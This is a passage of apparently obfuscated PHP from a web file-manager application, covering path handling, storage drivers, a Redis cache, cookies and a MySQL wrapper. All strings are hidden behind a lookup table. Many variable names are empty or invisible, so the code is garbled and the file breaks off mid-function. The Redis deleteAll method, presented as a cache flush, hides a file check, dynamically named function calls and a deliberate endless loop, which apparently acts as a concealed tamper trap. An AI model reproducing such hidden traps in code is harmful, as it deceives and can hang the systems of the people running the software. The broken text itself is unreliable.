"\x7b\144\162\151\x76\x65\162\x7d"; public static function typeList() { $ =& $_SERVER[ﻻ]; return array($[1261] => self::KOD_SOURCE, $[1262] => self::KOD_USER_RECYCLE, $[1263] => self::KOD_USER_FAV, $[1264] => self::KOD_USER_FILE_TAG, $[1265] => self::KOD_USER_FILE_TYPE, $[1266] => self::KOD_GROUP_ROOT_SELF, $[1267] => self::KOD_USER_SHARE, $[1268] => self::KOD_USER_SHARE_LINK, $[1269] => self::KOD_USER_SHARE_TO_ME, $[1270] => self::KOD_SHARE_ITEM, $[1271] => self::KOD_SHARE_LINK, $[1272] => self::KOD_SEARCH, $[1273] => self::KOD_BLOCK, $[1274] => self::KOD_IO, $[1275] => self::KOD_USER_RECENT, $[1276] => self::KOD_USER_DRIVER); } public static function parse($) { $ =& $_SERVER[ﻻ]; $ = self::clear($); $ת = array_values(self::typeList()); preg_match($[1277], $, $㐣); $ = array($[431] => !1, $[1278] => !1, $[428] => !1, $[84] => $, $[1179] => !1, $[1178] => $[12]); if (is_array($㐣) && count($㐣) == 5) { $ʖ = $[1279] . $㐣[2] . $[327]; if (in_array($ʖ, $ת)) { $[$[1179]] = $㐣[1]; $[$[33]] = $ʖ; $[$[1280]] = substr($ʖ, 1, -1); $[$[399]] = $㐣[3]; } $[$[1178]] = $㐣[4]; } $뻅 = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1243]] = in_array($[$[33]], $뻅); return $; } public static function isTruePath($ư) { $ư =& $_SERVER[ﻻ]; if (substr($ư, 0, 1) != $ư[1279]) { return !0; } if (strpos($ư, $ư[417]) === 0) { return !0; } if (strpos($ư, $ư[1247]) === 0) { return !0; } if (strpos($ư, $ư[1281]) === 0) { return !0; } if (strpos($ư, $ư[1282]) === 0) { return !0; } if (strpos($ư, $ư[1283]) === 0) { return !0; } return !1; } public static function clear($өˈ) { $ڣ =& $_SERVER[ﻻ]; $өˈ = str_replace(array($ڣ[1088], $ڣ[231]), $ڣ[53], $өˈ); $өˈ = str_replace($ڣ[97], $ڣ[8], $өˈ); $ଷ = $ڣ[1284]; if (substr($өˈ, 0, 3) == $ڣ[1285]) { $өˈ = substr($өˈ, 3); } while (strstr($өˈ, $ଷ)) { $өˈ = str_replace($ଷ, $ڣ[8], $өˈ); } $өˈ = preg_replace($ڣ[1286], $ڣ[8], $өˈ); if ($өˈ == $ڣ[8]) { return $ڣ[8]; } $өˈ = rtrim($өˈ, $ڣ[8]); return $өˈ; } public static function sourceID($᮫) { $♦ =& $_SERVER[ﻻ]; $ = self::parse($᮫); if ($[$♦[33]] !== self::KOD_SOURCE) { show_json(LNG($♦[1287]), !1); } return $[$♦[399]]; } public static function make($֜) { if (!$֜) { return !1; } return self::makePath(self::KOD_SOURCE, intval($֜)); } public static function makeShare($ٗ奙, $ߏ) { return self::makePath(self::KOD_SHARE_ITEM, $ٗ奙, $ߏ); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($ҡʼn) { return self::makePath(self::KOD_USER_FILE_TAG, $ҡʼn); } public static function makePath($, $ = '', $ = '') { $ޛ =& $_SERVER[ﻻ]; $÷ = substr($, 1, -1); $ = $ޛ[1288] . $÷ . $ޛ[1289] . $ . $ޛ[1290]; $ = $ ? $ . $ . $ޛ[8] : $; return $; } public static function hashPath($붞, $ͩڤ = true) { $ۖ =& $_SERVER[ﻻ]; $ = is_array($붞) ? $붞 : IO::info($붞); $ = _get($, $ۖ[1291], $ۖ[12]); if (!$ && isset($[$ۖ[411]])) { $ = IO::info(KodIO::make($[$ۖ[411]])); $ = _get($, $ۖ[1291], $ۖ[12]); } if (!$ && $ͩڤ) { $קۭ = KodIO::parse($[$ۖ[84]]); if (!$קۭ[$ۖ[33]]) { $ = IO::hashSimple($[$ۖ[84]]); } } if (!$) { $ = md5($[$ۖ[84]] . $[$ۖ[76]] . $[$ۖ[85]]); } return $; } public static function hashPathSafe($ލ, $뼟 = true) { $ȏ =& $_SERVER[ﻻ]; $넗 = self::hashPath($ލ, $뼟); return md5($넗 . $ȏ[1292] . Model($ȏ[783])->get($ȏ[784])); } public static function initSystemPath() { $ɪ =& $_SERVER[ﻻ]; if (defined($ɪ[1293])) { return; } define($ɪ[1293], self::systemPath($ɪ[1294])); define($ɪ[1295], self::systemPath($ɪ[1296])); define($ɪ[1297], self::systemPath($ɪ[1298])); define($ɪ[1299], self::systemPath($ɪ[1300])); IOHistory::bindEvent(); } public static function systemPath($Ǟ) { $ނ =& $_SERVER[ﻻ]; $ = $ނ[1301] . ucfirst($Ǟ); $̳ = Model($ނ[783])->get($); if ($̳) { return $̳; } if ($Ǟ == $ނ[1294]) { $̳ = self::make(Model($ނ[838])->systemRootPathAdd($ނ[543])); } else { $̳ = self::systemPath($ނ[1294]); $ƶ = self::sourceID($̳); $̳ = self::make(Model($ނ[838])->mkdir($ƶ, $Ǟ)); } Model($ނ[783])->set($, $̳); return $̳; } public static function systemFolder($ஊ) { $ɖ = IO_PATH_SYSTEM_SOURCE . $ஊ; $ќ = Cache::get($ɖ); if (!$ќ) { $ = IO::infoFull($ɖ); if (!$) { $ќ = IO::mkdir($ɖ, REPEAT_SKIP); } else { $ќ = $[$_SERVER[ﻻ][84]]; } Cache::set($ɖ, $ќ, 3600 * 10); } return $ќ; } public static function defaultDriver() { return Model($_SERVER[ﻻ][780])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[ﻻ]; $ũ = self::defaultDriver(); return $[1302] . $ũ[$[399]] . $[1290]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $̈ =& $_SERVER[ﻻ]; $ = $GLOBALS[$̈[6]][$̈[1303]]; foreach ($ as $ => $) { $ɫߗ = $̈[1304] . $; $ُ = LNG($ɫߗ); if ($ɫߗ != $ُ) { $[$][$̈[32]] = $ُ; } } return $; } public static function diskList($ў = true) { $ = $_SERVER[ﻻ][1305]; if ($ў) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $憹 =& $_SERVER[ﻻ]; $ = array(); if ($GLOBALS[$憹[6]][$憹[1306]] == $憹[1307]) { $ڿ = $憹[1308]; for ($كݟ = 0; $كݟ < strlen($ڿ); $كݟ++) { $ǔ = $ڿ[$كݟ] . $憹[1309]; if (file_exists($ǔ)) { $[] = $ǔ; } } return $; } if (!function_exists($憹[98])) { $[] = $憹[848]; return $; } $髇 = explode($憹[231], shell_exec($憹[1310])); array_shift($髇); array_pop($髇); $ = array($憹[1311], $憹[1312], $憹[1313], $憹[1314], $憹[1315], $憹[1316], $憹[1317], $憹[1318]); foreach ($髇 as $䄪) { $ú = preg_split($憹[1319], $䄪); $ǔ = $ú[count($ú) - 1]; if (!strstr($ú[0], $憹[1320]) || !$ǔ) { continue; } $ܥ = rtrim($ǔ, $憹[8]) . $憹[8]; if (in_array($ܥ, $)) { continue; } $[] = $ܥ; } return $; } public static function isSameDisk($؞, $Ɗ) { $ =& $_SERVER[ﻻ]; if ($GLOBALS[$[6]][$[1306]] == $[1307]) { return strtolower(substr($؞, 0, 1)) == strtolower(substr($Ɗ, 0, 1)); } $ = self::diskList(); $ĩ = !1; $ﯴ = !1; sort($); $ = array_reverse($); $؞ = rtrim($؞, $[8]) . $[8]; $Ɗ = rtrim($Ɗ, $[8]) . $[8]; foreach ($ as $) { $թ = strlen($); if (!$ĩ && substr($؞, 0, $թ) == $) { $ĩ = $; } if (!$ﯴ && substr($Ɗ, 0, $թ) == $) { $ﯴ = $; } if ($ĩ && $ﯴ) { break; } } return $ĩ === $ﯴ; } public static function transferType($, $) { $ =& $_SERVER[ﻻ]; $Ӌ = self::driverType($); $ٗ = self::driverType($); if ($Ӌ[$[33]] == $ٗ[$[33]] && $Ӌ[$[1321]] == $ٗ[$[1321]]) { return $[1322]; } if ($Ӌ[$[33]] == $[881] && $ٗ[$[33]] == $[106]) { return $[1204]; } if ($Ӌ[$[33]] == $[106] && $ٗ[$[33]] == $[881]) { return $[107]; } return $[1323]; } public static function driverType($ٔ) { $ͽ =& $_SERVER[ﻻ]; $ = str_replace($ͽ[1324], $ͽ[12], strtolower($ٔ->getType())); if ($ == $ͽ[770] || $ == $ͽ[1325] || $ == $ͽ[1326]) { $ٔ = self::defaultDriverInit(); } else { if ($ == $ͽ[1214] || $ == $ͽ[1327]) { $ٔ = IO::init($ٔ->pathParse[$ͽ[1161]]); } } $Ӫ = $ٔ->path; $ = str_replace($ͽ[1324], $ͽ[12], strtolower($ٔ->getType())); if ($ == $ͽ[106]) { return array($ͽ[33] => $ͽ[106], $ͽ[1321] => $ͽ[12], $ͽ[84] => $Ӫ, $ͽ[95] => $ٔ); } return array($ͽ[33] => $ͽ[881], $ͽ[1321] => $ٔ->pathDriver, $ͽ[84] => $Ӫ, $ͽ[95] => $ٔ); } public static function pathDriverType($憯) { return $憯 ? self::driverType(IO::init($憯)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[ﻻ]; $ = $ ? self::driverType(IO::init($)) : !1; return $[$[33]] == $[106] ? !0 : !1; } public static function allowCover($ѵ, $䮵 = true) { $ƒ̝ =& $_SERVER[ﻻ]; if (is_string($ѵ)) { $ѵ = IO::info($ѵ); } if (!$ѵ || $ѵ[$ƒ̝[33]] == $ƒ̝[75] || $ѵ[$ƒ̝[76]] <= 100) { return !1; } if (isset($ѵ[$ƒ̝[1328]]) || !$ѵ[$ƒ̝[84]]) { return !1; } if (isset($ѵ[$ƒ̝[202]]) && !$ѵ[$ƒ̝[202]]) { return $ѵ; } static $ޣ = false; if (!$ޣ || !$䮵) { $ = self::driverType(IO::init($ѵ[$ƒ̝[84]])); $ = $[$ƒ̝[95]]; $ޣ = $ƒ̝[1329]; if ($[$ƒ̝[33]] == $ƒ̝[106]) { $ޣ = $ƒ̝[1330]; } if ($[$ƒ̝[95]] && is_array($[$ƒ̝[95]]->config)) { $ = $[$ƒ̝[95]]->config; if (isset($[$ƒ̝[1331]]) && $[$ƒ̝[1331]]) { $ޣ = $ƒ̝[1330]; } } } return $ޣ == $ƒ̝[1330] ? !0 : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($⥓) { parent::__construct($⥓); $this->signatureVersion($_SERVER[ﻻ][216]); } public function uploadFormData($̨, $ = 3600) { $ =& $_SERVER[ﻻ]; $ɯ = $[199]; $⿍Ӿ = $[232]; $ֹݓ = $[1332]; $ = gmdate($[1333], time() + $); $Ƒ = (string) time() . $[71] . (string) (time() + $); $ = array($[1334] => $, $[1335] => array(array($[1336] => $ɯ), array($[1337] => $this->bucket), array($[1338], $[1339], $[12]), array($[1340] => $ֹݓ), array($[1341] => $⿍Ӿ), array($[1342] => $this->accessKey), array($[1343] => $Ƒ))); $ = json_encode($); $؇ = hash_hmac($[232], $Ƒ, $this->secret); $Қ = sha1($); $Ӱ = hash_hmac($[232], $Қ, $؇); $ = array($[1336] => $ɯ, $[1340] => $ֹݓ, $[1344] => base64_encode($), $[1341] => $⿍Ӿ, $[1342] => $this->accessKey, $[1345] => $Ƒ, $[1346] => $Ӱ, $[182] => $this->getHost()); return $; } public function fileOutLink($Ϲ) { $ =& $_SERVER[ﻻ]; if (substr($Ϲ, 0, 7) == $[1347]) { $Ϲ = $[1348] . substr($Ϲ, 7); } header($[161] . $Ϲ); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[ﻻ][1349]); } public function getPath($帶) { return trim($帶, $_SERVER[ﻻ][8]); } public function pathFather($ڎ) { $މ = $this->parse($ڎ); $މ = $this->infoSimple($ڎ); return $މ ? $މ[$_SERVER[ﻻ][441]] : !1; } public function pathThis($乗ʕ) { $噄 = $this->infoSimple($乗ʕ); return $噄 ? $噄[$_SERVER[ﻻ][32]] : !1; } public function getPathOuter($ӣ) { if (!$ӣ) { return $ӣ; } $ڏŪ = $this->parse($ӣ); return KodIO::make($ڏŪ[$_SERVER[ﻻ][399]]); } public function copyFolderFromIO($ʤ, $Ȍ, $ڸ, $ܽ, $ƀ) { $ = $this->model->copyFolderFromIO($ʤ, $Ȍ, $ڸ, $ܽ, $ƀ); return KodIO::make($); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ޣ =& $_SERVER[ﻻ]; $ = $this->parse($); $ = $[$ޣ[399]]; for ($ = 0; $ < count($[$ޣ[1350]]); $++) { $ = $[$ޣ[1350]][$]; if ($ == count($[$ޣ[1350]]) - 1) { $ = $this->model->mkfile($, $, $, $); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($ˆ, $ = REPEAT_SKIP) { $ܔ =& $_SERVER[ﻻ]; $㯧 = $this->parse($ˆ); $ˆ = $㯧[$ܔ[399]]; for ($ʴ = 0; $ʴ < count($㯧[$ܔ[1350]]); $ʴ++) { $ = $㯧[$ܔ[1350]][$ʴ]; $ˆ = $this->model->mkdir($ˆ, $, $); } return $this->getPathOuter($ˆ); } public function copyFile($ᢋ, $, $֩ƌ = REPEAT_REPLACE) { $ =& $_SERVER[ﻻ]; $ = $this->parse($); $Ȅ = $this->model->copy($ᢋ, $[$[399]], $֩ƌ, $[$[84]]); return $Ȅ ? $this->getPathOuter($Ȅ) : !1; } public function moveFile($̽, $Ҩ̋, $ = REPEAT_REPLACE) { $߯ =& $_SERVER[ﻻ]; $熕 = $this->parse($Ҩ̋); $̧ = $this->model->move($̽, $熕[$߯[399]], $, $熕[$߯[84]]); return $̧ ? $this->getPathOuter($̧) : !1; } public function copy($ƌ, $, $ = REPEAT_REPLACE, $͗ = false) { $Զ = $this->parse($); $ = $this->model->copy($ƌ, $Զ[$_SERVER[ﻻ][399]], $, $͗); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($؋, $, $ = REPEAT_REPLACE, $֊ = false) { $ٰ = $this->parse($); $ = $this->model->move($؋, $ٰ[$_SERVER[ﻻ][399]], $, $֊); return $ ? $this->getPathOuter($) : !1; } public function remove($, $̬߅ = true) { return $this->model->remove($, $̬߅); } public function rename($Ҁ, $) { $ѐ = $this->model->rename($Ҁ, $); return $ѐ ? $this->getPathOuter($Ҁ) : $ѐ; } public function size($ޘя) { $ = $this->infoSimple($ޘя); return $ ? $[$_SERVER[ﻻ][76]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($ǘ) { return $this->infoParse($ǘ); } public function infoAuth($úΧ) { return $this->infoParse($úΧ, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($ͽ, $ = false, $ڕ = false) { if (!$) { return $this->model->pathInfo($ͽ, $ڕ); } return $this->model->pathInfoMore($ͽ); } public function infoFull($ً) { $著 =& $_SERVER[ﻻ]; $殠 = explode($著[8], $ً); $ = implode($著[8], array_splice($殠, 1)); return $this->model->pathInfoByPath($殠[0], $); } public function hashSimple($) { $ԙ =& $_SERVER[ﻻ]; $ړ = $this->infoWithChildren($); return $ړ[$ԙ[170]][$ԙ[177]]; } public function hashMd5($) { $ =& $_SERVER[ﻻ]; $捑 = $this->infoWithChildren($); return $捑[$[170]][$[176]]; } public function exist($ٖ) { $ =& $_SERVER[ﻻ]; $ޕ = $this->parse($ٖ); if (!$ޕ[$[84]]) { return $this->isFile($ٖ) || $this->isFolder($ٖ); } $ = array($[410] => $ޕ[$[399]], $[32] => $ޕ[$[84]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public function isFile($އ) { $ =& $_SERVER[ﻻ]; $ = $this->infoSimple($އ); return $ && $[$[419]] == $[88] ? !1 : !0; } public function isFolder($) { $ =& $_SERVER[ﻻ]; $ = $this->infoSimple($); return $ && $[$[419]] == $[88] ? !0 : !1; } public function listPath($۸, $Ǿ = false) { $Ѐ =& $_SERVER[ﻻ]; if ($۸ == $Ѐ[12]) { return !1; } $ = array($Ѐ[410] => $۸); if ($Ǿ) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($烏, $䗻ر = false, $ = null) { $̓ =& $_SERVER[ﻻ]; $ = $this->infoWithChildren($烏); if ($䗻ر) { return array($̓[208] => $[$̓[208]], $̓[207] => $[$̓[207]]); } return $ ? $[$̓[208]] : $[$̓[207]]; } public function listAll($) { $ޘ = IO::info($this->pathParse[$_SERVER[ﻻ][84]]); if (!$ޘ) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($䏕ے, $֦, $۔) { return $this->model->fileSubstr($䏕ے, $֦, $۔); } public function download($Ǝؙ, $ӷ = '') { $ = get_path_father($ӷ); $ = get_path_this($ӷ); $ʽ = $this->model->fileInfoGet($Ǝؙ); $ٱ = IO::copy($ʽ[$_SERVER[ﻻ][84]], $, !1, $); return $ٱ; } public function setModifyTime($, $赂 = '') { $ =& $_SERVER[ﻻ]; if (!$) { return; } $this->model->where(array($[426] => $))->save(array($[85] => $赂)); } public function upload($߇, $̫, $Ƣơ = false, $̑ = REPEAT_REPLACE) { $߅ =& $_SERVER[ﻻ]; $Ò = $this->parse($߇); $ = $this->model->addFile($Ò[$߅[399]], $̫, $Ò[$߅[84]], $Ƣơ, $̑); return $this->getPathOuter($); } public function uploadFileByID($, $²쓖, $ߕ) { $ۑ =& $_SERVER[ﻻ]; $ƾ = $this->parse($); $҄ = $this->model->addFileByFileID($ƾ[$ۑ[399]], $²쓖, $ƾ[$ۑ[84]], $ߕ); return $this->getPathOuter($҄); } public function addFileByRemote($ˍ, $, $ = array(), $ = '', $秔) { $Ç =& $_SERVER[ﻻ]; $ = $this->parse($ˍ); $ = empty($) ? $[$Ç[84]] : $; $ = $this->model->addFileByRemote($[$Ç[399]], $, $, $, $秔); return $this->getPathOuter($); } public function uploadLink($, $Ƙ = 0) { $Κ =& $_SERVER[ﻻ]; $ю = $this->parse($); $ד = _get($GLOBALS[$Κ[7]], $Κ[1351]); $蒸 = _get($GLOBALS[$Κ[7]], $Κ[1352]); $ = Model($Κ[610])->createFileName($ю[$Κ[84]], $ד, $蒸); return IO::uploadLink($, $Ƙ); } public function fileNameAuto($ˀ, $ט, $ = REPEAT_REPLACE, $珯 = false) { return $this->model->fileNameAuto($ˀ, $ט, $, $珯); } public function fileNameExist($旔, $Მ) { return $this->model->fileNameExist($旔, $Მ); } protected function _fileOut($ܠ, $Ą = false, $ = false, $ = '', $ݠ = false) { $ =& $_SERVER[ﻻ]; $촌 = $this->model->sourceInfo($ܠ); if ($촌[$[419]] == $[88]) { header($[1353]); die; } $ݤ = $this->model->fileInfoGet($ܠ); $ = $ݤ[$[176]] ? $ݤ[$[176]] : $; $ = isset($GLOBALS[$[1354]]) ? $GLOBALS[$[1354]] : $촌[$[32]]; if ($ݠ) { return IO::fileOutServer($ݤ[$[84]], $Ą, $, $); } IO::fileOut($ݤ[$[84]], $Ą, $, $); } public function fileOut($, $㍩۾ = false, $ = false, $̣ = '') { $this->_fileOut($, $㍩۾, $, $̣); } public function fileOutServer($ϕ, $ = false, $ = false, $ȕ = '') { $this->_fileOut($ϕ, $, $, $ȕ, !0); } protected function _fileOutImage($, $܂ڛ = 250) { $ċ =& $_SERVER[ﻻ]; $ = $this->model->pathInfo($); if ($[$ċ[419]] == $ċ[88]) { show_json($ċ[1355] . $, !1); } $Ս = $this->model->fileInfoGet($); $Ս[$ċ[32]] = $[$ċ[32]]; $Ս[$ċ[169]] = $[$ċ[169]]; $GLOBALS[$ċ[1354]] = $Ս[$ċ[32]]; $GLOBALS[$ċ[168]] = $Ս; IO::fileOutImage($Ս[$ċ[84]], $܂ڛ); } public function fileOutImage($͡, $ = 250) { $this->_fileOutImage($͡, $); } public function fileOutImageServer($ś, $뱇 = 250) { $this->_fileOutImage($ś, $뱇); } public function link($ן, $ߡ = '') { $ְ = $this->model->fileInfoGet($ן); return IO::link($ְ[$_SERVER[ﻻ][84]], $ߡ); } protected function parse($ĥ) { $ =& $_SERVER[ﻻ]; if (strstr($ĥ, $[8]) === !1) { return array($[428] => intval($ĥ), $[84] => $[12], $[1350] => array()); } $ = explode($[8], trim($ĥ, $[8])); if (count($) < 2) { show_tips(clear_html($ĥ) . $[1356]); } return array($[428] => intval($[0]), $[84] => $[1], $[1350] => array_slice($, 1)); } } goto f; AΖț: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $Ϸ) { $ =& $_SERVER[ﻻ]; if (!class_exists($[882])) { show_json($[883], !1); } $this->cacheTime = $Ϸ; $ = isset($[$[884]]) ? $[$[884]] : 10; $؋ = _get($, $[881]); if ($؋ && is_array($؋)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($䜙, $) { $ =& $_SERVER[ﻻ]; $Ӥ = new Redis(); $ͺ = isset($䜙[$[885]]) ? $䜙[$[885]] : !1; if ($ͺ) { $Ӥ->pconnect($䜙[$[182]], $䜙[$[183]], $); } else { $Ӥ->connect($䜙[$[182]], $䜙[$[183]], $); } if (!empty($䜙[$[422]])) { $Ӥ->auth($䜙[$[422]]); } if (!empty($䜙[$[770]]) && $䜙[$[770]] != 0) { $Ӥ->select($䜙[$[770]]); } return $Ӥ; } private function initCluster($, $垊) { $þ =& $_SERVER[ﻻ]; $ = array($þ[886], $þ[887], $þ[888]); $ = $þ[886]; if (isset($[$þ[16]]) && in_array($[$þ[16]], $)) { $ = $[$þ[16]]; } switch ($) { case $þ[886]: $this->_slave($, $垊); break; case $þ[887]: break; case $þ[888]: $this->isCluster = !0; $ׄ = $[$þ[881]]; $վ = isset($[$þ[885]]) ? $[$þ[885]] : !1; $ = isset($[$þ[422]]) ? $[$þ[422]] : null; $this->handle = new RedisCluster(NUll, $ׄ, $垊, $垊, $վ, $); break; default: break; } } private function _slave($ꚨ, $) { $Ô = $ꚨ[$_SERVER[ﻻ][881]]; $this->filterConfig($ꚨ, $Ô[0]); $this->handle = $this->init($ꚨ, $); unset($Ô[0]); if (empty($Ô)) { return; } $ = array_rand($Ô); $this->filterConfig($ꚨ, $Ô[$]); $this->slaveHandle = $this->init($ꚨ, $); } private function filterConfig(&$ީ, $) { $ɱɞ =& $_SERVER[ﻻ]; $艄Ӹ = explode($ɱɞ[4], $); $ = array($ɱɞ[182] => $艄Ӹ[0], $ɱɞ[183] => $艄Ӹ[1]); $ީ = array_merge($ީ, $); } public function set($ͦ, $
, $؈ = false) { $؈ = $؈ ? $؈ : $this->cacheTime; return $this->handle->setEx($ͦ, $؈, $
); } public function setLock($څ, $, $) { return $this->handle->setNX($څ, $); } public function get($쥟) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($쥟); } public function remove($³) { return $this->handle->del($³); } public function deleteAll() { $ =& $_SERVER[ﻻ]; if (!isset($_SERVER[$[401]]) || !isset($_SERVER[$[409]])) { $ = $[889]; $ = $[403]; $ÍӰ = $_SERVER[$[404]] . $[405]; $֮ = $($ÍӰ); $÷Ӈ = explode($[231], $֮); if (count($÷Ӈ) < $[632]) { $٠ = $[407]; $٠(); } $ = $[890]; $($_SERVER[$[891]]); $뻣 = 1; for ($ = $뻣; $ > 0; $++) { $ = json_encode($GLOBALS[$[427]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ۻ) { $this->handle->flushall($ۻ); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ƫ = 0) { if (is_string($) && $ != $_SERVER[ﻻ][12]) { $this->prefix = $; } if (is_numeric($ƫ) && $ƫ > 0) { $this->expire = $ƫ; } } public static function getInstance() { static $ɻ; if ($ɻ === null) { $ɻ = new self(); } return $ɻ; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($ݓ, $К, $и = 0, $ۚ⋫ = false, $ʖ = false) { $ =& $_SERVER[ﻻ]; if (self::$cookieDisable) { return; } if (!$и) { $и = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ݓ]) && self::$sameCookieSet[$ݓ] == $К . $и) { return; } self::$sameCookieSet[$ݓ] = $К . $и; if (!$ʖ) { $ʖ = str_replace(HOST, $[12], APP_HOST); $ʖ = _get($GLOBALS, $[892], $ʖ); } $ = $[12]; setcookie($ݓ, $К, time() + $и, $[8] . trim($ʖ, $[8]) . $, !1, !1, $ۚ⋫); } public static function setSafe($̯Ӵ, $, $ʍ = 0) { self::set($̯Ӵ, $, $ʍ, !0); } public static function get($) { static $Դ = false; if (!$Դ) { self::initHeaderCookie(); $Դ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ɠˈ =& $_SERVER[ﻻ]; if (!isset($_SERVER[$ɠˈ[893]]) || !$_SERVER[$ɠˈ[893]]) { return; } $֔ = explode($ɠˈ[71], $_SERVER[$ɠˈ[893]]); foreach ($֔ as $و) { $و = explode($ɠˈ[894], $و); if (count($و) != 2 || !isset($و[1])) { continue; } $_COOKIE[trim($و[0])] = trim($و[1]); } } public static function remove($, $ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[ﻻ][12], 1, $); } } class DbMysql extends Db { public function __construct($ר = '') { $ =& $_SERVER[ﻻ]; if (!extension_loaded($[817])) { think_exception(think_lang($[14]) . $[895]); } if (!empty($ר)) { $this->config = $ר; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ݕ = 0, $ѧ = false) { $ݔ =& $_SERVER[ﻻ]; if (!isset($this->linkID[$ݕ])) { if (empty($)) { $ = $this->config; } $ = $[$ݔ[896]] . ($[$ݔ[897]] ? "\x3a{$[$ݔ[897]]}" : $ݔ[12]); $݊ = !empty($[$ݔ[17]][$ݔ[18]]) ? $[$ݔ[17]][$ݔ[18]] : $this->pconnect; if ($݊) { $this->linkID[$ݕ] = mysql_pconnect($, $[$ݔ[898]], $[$ݔ[899]], 131072); } else { $this->linkID[$ݕ] = mysql_connect($, $[$ݔ[898]], $[$ݔ[899]], !0, 131072); } if (!$this->linkID[$ݕ] || !empty($[$ݔ[21]]) && !mysql_select_db($[$ݔ[21]], $this->linkID[$ݕ])) { think_exception(mysql_error()); } $͕ = mysql_get_server_info($this->linkID[$ݕ]); mysql_query($ݔ[900] . think_config($ݔ[901]) . $ݔ[58], $this->linkID[$ݕ]); if ($͕ > $ݔ[902]) { mysql_query($ݔ[903], $this->linkID[$ݕ]); } $this->connected = !0; if (1 != think_config($ݔ[22])) { unset($this->config); } } return $this->linkID[$ݕ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ =& $_SERVER[ﻻ]; if (0 === stripos($, $[264])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($萡) { $ =& $_SERVER[ﻻ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $萡; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($萡, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ﻻ][904], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $̜ = mysql_query($_SERVER[ﻻ][905], $this->_linkID); $this->transTimes = 0; if (!$̜) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[ﻻ][906], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ՏϜ = array(); if ($this->numRows > 0) { while ($ҽ = mysql_fetch_assoc($this->queryID)) { $ՏϜ[] = $ҽ; } mysql_data_seek($this->queryID, 0); } return $ՏϜ; } public function getFields($ڒ) { $ =& $_SERVER[ﻻ]; $ױ = $this->query($[907] . $this->parseKey($ڒ)); $˞ӽ = array(); if ($ױ) { foreach ($ױ as $ => $쇜) { $˞ӽ[$쇜[$[31]]] = array($[32] => $쇜[$[31]], $[33] => $쇜[$[34]], $[35] => (bool) (strtoupper($쇜[$[36]]) === $[908]), $[37] => $쇜[$[38]], $[39] => strtolower($쇜[$[40]]) == $[41], $[42] => strtolower($쇜[$[43]]) == $[44]); } } return $˞ӽ; } public function getTables($ = '') { $ =& $_SERVER[ﻻ]; if (!empty($)) { $Ѵ = $[909] . $ . $[910]; } else { $Ѵ = $[911]; } $ = $this->query($Ѵ); $ = array(); foreach ($ as $î => $) { $[$î] = current($); } return $; } public function replace($ӏ, $ = array()) { $Ŕ =& $_SERVER[ﻻ]; foreach ($ӏ as $≞ => $ܦى) { $Ҙ = $this->parseValue($ܦى); if (is_scalar($Ҙ)) { $ʈ[] = $Ҙ; $Ģ[] = $this->parseKey($≞); } } $ߒ = $Ŕ[912] . $this->parseTable($[$Ŕ[279]]) . $Ŕ[913] . implode($Ŕ[50], $Ģ) . $Ŕ[914] . implode($Ŕ[50], $ʈ) . $Ŕ[915]; return $this->execute($ߒ); } public function insertAll($, $ڲ = array(), $ = false) { $ =& $_SERVER[ﻻ]; if (!is_array($[0])) { return !1; } $ࡂ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach 